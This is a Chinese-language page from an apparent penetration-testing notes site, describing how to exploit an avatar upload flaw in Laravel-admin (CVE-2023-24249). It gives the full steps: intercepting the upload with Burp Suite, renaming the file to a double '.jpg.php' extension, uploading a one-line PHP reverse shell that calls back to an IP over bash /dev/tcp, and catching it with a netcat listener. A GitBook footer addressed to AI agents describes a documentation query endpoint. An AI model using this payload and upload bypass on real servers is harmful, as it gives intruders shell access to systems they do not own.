> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/file-upload-attack/file-upload-php-pentesting-web.md).

# 文件上传 PHP

## 文件上传（Laravel-admin）

在 Laravel-admin 应用程序中，有一个部分允许上传头像。通过利用此功能，我们可以发送恶意文件，从而获得对服务器的未授权访问。

{% embed url="<https://flyd.uk/post/cve-2023-24249/>" %}

<figure><img src="/files/a3106f4014e3707dae206d8e0f680227e7b60ca8" alt=""><figcaption></figcaption></figure>

### **利用步骤：**

1. **拦截并修改头像文件**:
   * 使用 Burp Suite 拦截请求。
   * 修改变量的值 `filename` 在伪装的图像文件后添加 PHP 扩展名，例如： `hack.jpg.php`.

<figure><img src="/files/49c8eb96315eb6de75aa0807aaf21c9df0a1bdb0" alt=""><figcaption></figcaption></figure>

* 文件内容必须是一个反向 shell，例如：

```php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.9/443 0>&1'"); ?>

```

<figure><img src="/files/49169773438a8cb8bbf4f4eefd9bbbf86a2ac451" alt=""><figcaption></figcaption></figure>

**使用 Netcat 启动监听器**:

* 使用 Netcat 在 443 端口启动监听器：

```bash
nc -nlvp 443

```

<figure><img src="/files/bbbf74222a71f948c6592d02473ac3a9da138cb7" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/file-upload-attack/file-upload-php-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
